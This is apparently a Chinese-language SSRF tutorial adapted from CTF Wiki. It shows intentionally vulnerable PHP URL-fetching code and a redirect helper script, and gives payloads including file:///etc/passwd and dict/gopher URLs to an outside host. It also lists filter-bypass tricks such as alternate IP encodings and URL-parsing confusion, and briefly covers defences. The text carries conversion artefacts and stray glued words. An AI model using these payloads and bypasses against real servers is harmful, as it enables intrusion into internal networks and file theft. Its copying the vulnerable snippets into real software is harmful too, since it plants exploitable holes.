SSRF,Server-Side Request Forgery,服務端請求僞造,是一種由攻擊者構造造成由服務器端發起請求的一個漏洞。通常狀況下,SSRF
攻擊的目標是從外網沒法訪問的內部系統。php
漏洞造成的緣由大可能是由於服務端提供了從其餘服務器應用獲取數據的功能且沒有對目標地址做過濾和限制。html
攻擊者能夠利用 SSRF
實現的攻擊主要有 5 種:前端
一、能夠對外網、服務器所在內網、本地進行端口掃描,獲取一些服務的 banner
信息git
二、攻擊運行在內網或本地的應用程序(好比溢出)github
三、對內網 WEB 應用進行指紋識別,經過訪問默認文件實現web
四、攻擊內外網的 web 應用,主要是使用 GET 參數就能夠實現的攻擊(好比 Struts2
,sqli
等)sql
五、利用 file
協議讀取本地文件等數據庫
可以對外發起網絡請求的地方,就可能存在 SSRF
漏洞後端
從遠程服務器請求資源(Upload from URL,Import & Export RSS Feed)安全
數據庫內置功能(Oracle、MongoDB、MSSQL、Postgres、CouchDB)
Webmail 收取其餘郵箱郵件(POP三、IMAP、SMTP)
文件處理、編碼處理、屬性信息處理(ffmpeg、ImageMagic、DOCX、PDF、XML)
一、file_get_contents
<?php
if (isset($_POST['url'])) {
$content = file_get_contents($_POST['url']);
$filename ='./images/'.rand().';img1.jpg';
file_put_contents($filename, $content);
echo $_POST['url'];
$img = "<img src=\"".$filename."\"/>";
}
echo $img;
?>
複製代碼
這段代碼使用 file_get_contents
函數從用戶指定的 URL
獲取圖片。而後把它用一個隨機文件名保存在硬盤上,並展現給用戶。
二、fsockopen()
<?php
function GetFile($host,$port,$link) {
$fp = fsockopen($host, intval($port), $errno, $errstr, 30);
if (!$fp) {
echo "$errstr (error number $errno) \n";
} else {
$out = "GET $link HTTP/1.1\r\n";
$out .= "Host: $host\r\n";
$out .= "Connection: Close\r\n\r\n";
$out .= "\r\n";
fwrite($fp, $out);
$contents='';
while (!feof($fp)) {
$contents.= fgets($fp, 1024);
}
fclose($fp);
return $contents;
}
}
?>
複製代碼
這段代碼使用 fsockopen
函數實現獲取用戶制定 URL 的數據(文件或者 HTML)。這個函數會使用 socket
跟服務器創建 TCP 鏈接,傳輸原始數據。
三、curl_exec()
<?php
if (isset($_POST['url'])) {
$link = $_POST['url'];
$curlobj = curl_init();
curl_setopt($curlobj, CURLOPT_POST, 0);
curl_setopt($curlobj,CURLOPT_URL,$link);
curl_setopt($curlobj, CURLOPT_RETURNTRANSFER, 1);
$result=curl_exec($curlobj);
curl_close($curlobj);
$filename = './curled/'.rand().'.txt';
file_put_contents($filename, $result);
echo $result;
}
?>
複製代碼
使用 curl
獲取數據。
服務器開啓 OpenSSL
沒法進行交互利用
服務端須要鑑權(Cookies & User:Pass
)不能完美利用
限制請求的端口爲 http
經常使用的端口,好比,80,443,8080,8090。
禁用不須要的協議。僅僅容許 http
和 https
請求。能夠防止相似於 file:///
,gopher://
,ftp://
等引發的問題。
統一錯誤信息,避免用戶能夠根據錯誤信息來判斷遠端服務器的端口狀態。
根據服務器的返回信息進行判斷,大部分應用不會判別端口,可經過返回的 banner
信息判斷端口狀態。
後端實現
<?php
if (isset($_POST['url'])) {
$link = $_POST['url'];
$filename = './curled/'.rand().'txt';
$curlobj = curl_init($link);
$fp = fopen($filename,"w");
curl_setopt($curlobj, CURLOPT_FILE, $fp);
curl_setopt($curlobj, CURLOPT_HEADER, 0);
curl_exec($curlobj);
curl_close($curlobj);
fclose($fp);
$fp = fopen($filename,"r");
$result = fread($fp, filesize($filename));
fclose($fp);
echo $result;
}
?>
複製代碼
構造一個前端頁面
<html>
<body>
<form name="px" method="post" action="http://127.0.0.1/ss.php">
<input type="text" name="url" value="">
<input type="submit" name="commit" value="submit">
</form>
<script></script>
</body>
</html>
複製代碼
請求非 HTTP
的端口能夠返回 banner
信息。
或可利用 302
跳轉繞過 HTTP
協議的限制。
輔助腳本
<?php
$ip = $_GET['ip'];
$port = $_GET['port'];
$scheme = $_GET['s'];
$data = $_GET['data'];
header("Location: $scheme://$ip:$port/$data");
?>
複製代碼
Dict 協議
dict://fuzz.wuyun.org:8080/helo:dict
複製代碼
Gopher 協議
gopher://fuzz.wuyun.org:8080/gopher
複製代碼
File 協議
file:///etc/passwd
複製代碼
一、更改 IP 地址寫法 例如 192.168.0.1
8 進制格式:0300.0250.0.1
16 進制格式:0xC0.0xA8.0.1
10 進制整數格式:3232235521
16 進制整數格式:0xC0A80001
還有一種特殊的省略模式,例如10.0.0.1這個 IP 能夠寫成10.1
二、利用 URL
解析問題 在某些狀況下,後端程序可能會對訪問的 URL
進行解析,對解析出來的 host
地址進行過濾。這時候可能會出現對 URL
參數解析不當,致使能夠繞過過濾。 例如:
http://www.baidu.com@192.168.0.1
/與http://192.168.0.1
請求的都是192.168.0.1
的內容
能夠指向任意 ip 的域名xip.io
:http://127.0.0.1.xip.io/
==>http://127.0.0.1/
短地址http://dwz.cn/11SMa
==>http://127.0.0.1
利用句號。
:127。0。0。1
==>127.0.0.1
利用 Enclosed alphanumerics
ⓔⓧⓐⓜⓟⓛⓔ.ⓒⓞⓜ >>> example.com
List:
① ② ③ ④ ⑤ ⑥ ⑦ ⑧ ⑨ ⑩ ⑪ ⑫ ⑬ ⑭ ⑮ ⑯ ⑰ ⑱ ⑲ ⑳
⑴ ⑵ ⑶ ⑷ ⑸ ⑹ ⑺ ⑻ ⑼ ⑽ ⑾ ⑿ ⒀ ⒁ ⒂ ⒃ ⒄ ⒅ ⒆ ⒇
⒈ ⒉ ⒊ ⒋ ⒌ ⒍ ⒎ ⒏ ⒐ ⒑ ⒒ ⒓ ⒔ ⒕ ⒖ ⒗ ⒘ ⒙ ⒚ ⒛
⒜ ⒝ ⒞ ⒟ ⒠ ⒡ ⒢ ⒣ ⒤ ⒥ ⒦ ⒧ ⒨ ⒩ ⒪ ⒫ ⒬ ⒭ ⒮ ⒯ ⒰ ⒱ ⒲ ⒳ ⒴ ⒵
Ⓐ Ⓑ Ⓒ Ⓓ Ⓔ Ⓕ Ⓖ Ⓗ Ⓘ Ⓙ Ⓚ Ⓛ Ⓜ Ⓝ Ⓞ Ⓟ Ⓠ Ⓡ Ⓢ Ⓣ Ⓤ Ⓥ Ⓦ Ⓧ Ⓨ Ⓩ
ⓐ ⓑ ⓒ ⓓ ⓔ ⓕ ⓖ ⓗ ⓘ ⓙ ⓚ ⓛ ⓜ ⓝ ⓞ ⓟ ⓠ ⓡ ⓢ ⓣ ⓤ ⓥ ⓦ ⓧ ⓨ ⓩ
⓪ ⓫ ⓬ ⓭ ⓮ ⓯ ⓰ ⓱ ⓲ ⓳ ⓴
⓵ ⓶ ⓷ ⓸ ⓹ ⓺ ⓻ ⓼ ⓽ ⓾ ⓿
複製代碼
能夠對外網、服務器所在內網、本地進行端口掃描,獲取一些服務的 banner
信息;
攻擊運行在內網或本地的應用程序(好比溢出);
對內網 web
應用進行指紋識別,經過訪問默認文件實現;
攻擊內外網的web
應用,主要是使用 get
參數就能夠實現的攻擊(好比 struts2
,sqli
等);
利用 file
協議讀取本地文件等。
《Build Your SSRF EXP Autowork》豬豬俠
bilibili 某分站從信息泄露到 ssrf 再到命令執行
合天網安實驗室(www.hetianlab.com)-國內領先的實操型網絡安全在線教育平臺
真實環境,在線實操學網絡安全 ; 實驗內容涵蓋:系統安全,軟件安全,網絡安全,Web安全,移動安全,CTF,取證分析,滲透測試,網安意識教育等。
本文章在原文章SSRF 服務端請求僞造 - CTF Wiki的基礎上有所修改。
本文章的所有內容在
CC BY-NC-SA 4.0
協議之條款下提供,附加條款亦可能應用。